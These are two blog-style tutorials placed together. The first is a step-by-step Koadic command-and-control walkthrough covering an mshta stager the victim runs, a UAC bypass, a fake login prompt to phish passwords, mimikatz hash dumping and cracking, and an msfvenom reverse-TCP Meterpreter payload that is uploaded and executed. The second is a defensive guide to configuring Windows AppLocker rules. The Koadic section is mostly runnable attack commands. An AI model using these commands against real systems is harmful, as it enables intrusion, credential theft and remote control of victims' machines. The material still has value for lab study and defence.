Koadic - COM Command & Control Framework


Hello friends!! In this article we are introducing another most interesting tool “KOADIC - COM Command & Control” tool which is quite similar to Metasploit and Powershell Empire. So let’s began with its tutorial and check its functionality.

Table of Content
·         Introduction to Koadic
·         Installation of Koadic
·         Usage of Koaidc
·         Koadic Stagers
·         Privilege Escalation with Koadic Implants
·         Post Exploitation
o   Generate Fake Login Prompt
o   Enable Rdesktop
o   Inject Mimikatz
o   Execute Command
o   Convert Zombie Session to Meterprter Session


Introduction to Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.
It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled).
Koadic also attempts to be compatible with both Python 2 and Python 3. However, as Python 2 will be going out the door in the not-too-distant future, we recommend using Python 3 for the best experience.
Source - https://github.com/zerosum0x0/koadic

Installation of Koadic
It must first be downloaded and installed in order to start using Koadic. Run following command to download Koadic from github and also take care of its dependency tools while installing koadic.

git clone https://github.com/zerosum0x0/koadic.git
cd koadic
apt-get install python3-pip
pip3 install -r requirements.txt
./koadic


Usage of Koaidc

This tool is majorly depends upon stager and implant. It contains 6 stager and 41 implant
Stager: Stagers hook target zombies and allow you to use implants.
Implants: Implants start jobs on zombies.
Once installation gets completed, you can run ./koadic file to start koadic. Then run the most helpful command to get synopsis of the use of koadic is help. The help command summarizes the various commands available. Koadic functions similar to other frameworks, such as Metasploit.


To load all available module in the terminal run “use command. This will dump all available implant and stagers for execution or explore stager module with following commands:
use stager/js/
This will give you all stagers that will be useful for getting zombie session of target machine.


Koadic Stagers
The stager enables us to describe where any zombie device accesses the Koadic command and control. Some of these settings can be viewed by running info command once the module is selected. Let's start with loading the mshta stager by running the following command.
Set SRVHOST where the stager should call home and SRVPORT the port to listen for stagers on or even you can set ENDPOINT for malicious file name and then enter run to execute.
set SRVHOST 192.168.1.107
set ENDPOINT sales
run


Now wit for the victim to run below command to execute above generated malicious file.
mshta http://192.168.1.107:9999/sales


Once the malicious sales file will get executed on target machine, you will have a Zombie connection just like metasploit.
zombies 0


Privilege Escalation with Koadic Implants
Once you have zombie session after than you can use implant modules for privilege escalation that includes bypassuac.
Koadic contains all modules to bypassuac of Windows 7, 8, 10 platform, so that you can extract system level information. We can load this module by running the command below within Koadic.
use implant/elevate/bypassuac_eventvwr
Then, we will set the payload value to run the module. You can use default zombie value as “ALL" to attack all zombies or can set the particular zombie id you want to attack. Use the command below to adjust the payload value and zombie.
set PAYLOAD 0
set ZOMBIE 0
run


Post Exploitation

Generate Fake Login Prompt
You can start a phishing attack with koadic and track the victim's login credentials. We can load this module by running the command below within Koadic.
use implant/phish/password_box
set ZOMBIE 1
run


This will launch a Prompt screen for login at victim’s machine.



Therefore, if the victim enters his password in a fake prompt, you get the password in the command and control of Koadic.


Enable Rdesktop

Just like metasploit, here also you can enable remote desktop service in the victim’s machine with the following implant module.
use implant/mange/enable_rdesktop
set ZOMBIE 1
run

As you can observe in the below image that job 4 is completed successfully and it has enabled rdesktop service.


We can ensure for rdesktop service with the help of nmap to identify state of port 3389.
nmap -p3389 192.168.1.103
Hmm!! So you can observe from nmap result we found port 3389 is open which means rdesktop service is enable.


Inject Mimikatz
It will let you inject mimkatz in victim’s machine for extracting password from inside the machine. We can load this module by running the command below within Koadic.
use implant/inject/mimikatz_dotnet2js
set ZOMBIE 1
run

As result, it will dump the NTLM hash password which we need to crack. Save the NTLM value in a text file.


Then we will use john the ripper for cracking hash value, therefore run following command along with the hash file as shown below:
john hash --format=NT
As you can observe that it has shown 123 as the password extracted from the hash file.


Execute Command
Since we high privileged shell therefore we are free to run any implant module for Post exploitation therefore now we are using exec_cmd to execute any command on the Windows system. To load this implant, run the command given below.
use implant/manage/exec-cmd
Then, we will set the CMD value to run the specify command along with Zombie id.
set CMD ipconfig
set ZOMBIE 1
Run


Convert Zombie Session to Meterprter Session
If you are having zombie session then you can get meterpreter session through it. Generate a malicious file with the help of msfvenom and start multi handle, as we always do in metasploit.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe



Koadic provides an implant module that allows you to upload any file to the machine of the victim if you have zombie sessions. To load this implant, run the following command:
use implant/util/upload_file
Now set the file location and Zombie Id then run the module. This will upload your malicious in writable directory i.e. %TEMP% .
set LFILE /root/shell.exe
set ZOMBIE 1
run

Once the job is completed then again use exec_cmd to run the uploaded file with the help of this module.
use implant/manage/exec-cmd

Then, we will set the CMD value to run the uploaded shell.exe file along with Zombie id.

set CMD %TEMP%shell.exe
set ZOMBIE 1
Run



Once you will execute the malicious exe file within Koadic zombie session, you will get a meterpreter session in the metasploit framework as shown below:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set rhost IP 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit

Once the file is executed on the machine we will get the victim machine meterpreter session as show below.

Windows Applocker Policy - A Beginner’s Guide


Hello Friends!! This article is based on “Microsoft Windows - Applocker Policy” and this topic for System Administrator, defines the AppLocker rules for your application control policies and how to work with them.
Table of Content
Introduction to Applocker
§  What is applocker Policy?
§  Who Should Use AppLocker?
§  What can your rules be based upon?
Configure the Applocker to Allow/Deny Execution of an App
§  Configure Enforcement rule
§  Create Default Rules
Modify Executable Default Rules to Allow an App
§  Rule conditions
o    Publisher
o    Path
o    File Hash
Modify Windows Installer Default Rules to Allow an App
Modify Script Default Rules to Allow an App
Creating New Rules to Block an APP

Introduction to Applocker
What is applocker Policy?
Windows applocker is a function that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. Windows AppLocker lets administrators to control which executable files are denied or allowed to be run. With this policy, administrators are able to generate rules based on file names, publishers or file location on unique identities of files and to specify which users or groups can execute those applications.
What can your rules be based upon?

The AppLocker console is ordered into rule collections, those are executable files, scripts, Windows Installer files, packaged apps and packaged app installers, and DLL files. These collections allow you to easily distinguish the rules for different application types. The following table lists the file formats that are included in each rule collection.


Who Should Use AppLocker?
AppLocker is a worthy for organizations which have to accomplish any of the following jobs:
§  Check which applications are allowed to run inside the company.
§  check which users are allowed to run licensed program.
§  offer an audit log of what program customers were running.
§  prevent trendy users from installing software per user.
Configure the Applocker to Allow/Deny Execution of an App
In the Group Policy Object Editor at Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker, the Windows AppLocker settings exist.


Configure Enforcement Rule
Use the enforcement setting for each collection to configure to Enforce rules, rules are enforced for the rule collection and all events are audited.


1.       Select the Configured check box for the rule collection that you are editing, and then verify that Enforce rules is selected.
2.       Click OK.

Open Advance tab and enable the DLL rule collection.
Create Default Rules
AppLocker includes default rules for each rule collection. These rules are intended to help ensure that the files that are required for Windows to operate properly are allowed in an AppLocker rule collection.

·         Open the AppLocker console.
·         Right- click the appropriate rule type for which you want to generate default rules automatically. You can automatically create executable rules, Windows Installer rules, script rules, and packaged application rules.
·         Click Create Default Rules.


Executable Default Rule Types Include:

·         Allow members of the local Administrators group to run all apps.
·         Allow members of the Everyone group to run apps that are located in the Windows folder.
·         Allow members of the Everyone group to run apps that are located in the Program Files folder.


Modify Executable Default Rules to Allow an App

A rule can be configured to use allow or deny actions:
·         Deny. You can specify which files are not allowed to run in your environment, and for which users or groups of users.

Once you have configured default rules as done above, then you can modify it as per your requirement. For example if you want to modify rule :“Allow members of the Everyone group to run apps that are located in the Program Files folder” for specifc user or group to allow a specifc progam file execution, then go its property by making right click on that rule and follow below steps.
Select the file or folder path that this rule should affect. The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles% \* indicates that all files and subfolders within that path.


Rule conditions
Conditions of rules are criteria for AppLocker to identify the applications to which the rule applies. The three main rules are publisher, path and hash of the file.

Publisher
Identifies a digital signature- based application. The digital signature encloses information about the company (the publisher) who created the application.
Wildcard characters can be used as values in the publisher rule fields according to the following specifications:

Advantage:
Frequent updating is not required.
You can apply different values within a certificate.
You can use a single rule to allow a complete product suite.
Within the publisher rule, you can use the asterisk (*) wildcard character to specify that any value should match.
Disavantage:
While a single rule can be used to allow a complete product suite, all files in the suite must be uniformly signed.

Path
Identify an app in the computer file system or on the network by its location. For well-known paths such as Program Files and Windows, AppLocker uses custom path variables.
Advatanges:
Many folders or a single file can be easily controlled.
The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles%\Microsoft Office\* indicates that all files and subfolders within the Microsoft Office folder will be affected by the rule.
Disadvantage:
It could be at risk if a rule that is organized to use a folder path holds subfolders that are writable by local user.

File Hash
Represents the calculated cryptographic hash system of the identified file. For non-digitally signed files, file hash rules are safer than path rules.
Advatange:
Since each file has a unique hash, a file hash condition only applies to one file.
Disadvantage:
Whenever the file is updated (such as security updates or upgrades), the hash of the file changes. Consequently, you have to manually update the rules for file hash.



Modify Windows Installer Default Rules to Allow an App

Windows Installer Default Rule Types Include:
·         Allow members of the local Administrators group to run all Windows Installer files.
·         Allow members of the Everyone group to run all digitally signed Windows Installer files.
·         Allow members of the Everyone group to run all Windows Installer files that are located in the Windows\Installer folder.

Similarly if you want to modify Windows Install defult rules, then repeat above steps.

Wildcard characters can be used as values in the publisher rule fields according to the following specifications:
Publisher: The asterisk (*) character used by itself represents any publisher.
Product name: The asterisk (*) character used by itself represents any product name.
File name: Either the asterisk (*) or question mark (?) characters used by themselves represent any and all file names.
File version: The asterisk (*) character used by itself represents any file version. If you want to limit the file version to a specific version or as a starting point, you can state the file version and then use the following options to apply limits:
·         Exactly. The rule applies only to this version of the app
·         And above. The rule applies to this version and all later versions.
·         And Below. The rule applies to this version and all earlier versions.


Open Exceptions and then again select Publisher.
Modify Script Default Rules to Allow an App

Script Default Rule Types Include:
·         Allow members of the local Administrators group to run all scripts.
·         Allow members of the Everyone group to run scripts that are located in the Program Files folder.
·         Allow members of the Everyone group to run scripts that are located in the Windows folder.

Similarly if you want to modify Script defult rules, then repeat above steps.


Select the file or folder path that this rule should affect.
Open Exceptions and then again select Publisher.
In this way, you can implemet Default rules and modify them for Executable file, Script rules or Windows Installer files according to your situation.
Creating New Rules to Block an APP

If you want to make your own rule in order to allow or deny action for any application, you can choose the options " Create New Rule" below. Let's say, I want to create a new Executable file rule to restrict command prompt execution for everyone.


Then, you will get a wizrad that helps you to create an Applocker rule, which will turly based on file attribute such as the file path and digital signature.

NOTE: Install the applications you want to create the rules for on this computer.

Now the action to use  and the user or group that this rule should aaply to. A deny action prevent affected file from running.


Select the type of primary condition that you  would like to create. Here we chose “Publisher” options.

Browse for a signed file to use as a reference for the rule. Here we have browse the cmd.exe and then click on next.

Choose the Publisher as exception and then click Next.




Set Application identity to Automatic mode:

Then navigate to “Application identity Property” through Computer Configuration > Policies > Windows Settings > Security Settings > System Services > Application identity.
Then enable “Automatic” option as the service startup mode.

Now update the Group policy with the help of gpupdate command.

Now when you will try to open command promd “cmd.exe” then you will get serices restiction prompt as shown.

Note: If you are configuring these rule on single machine then it will take some time to impose the rule over machine.

Reference: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules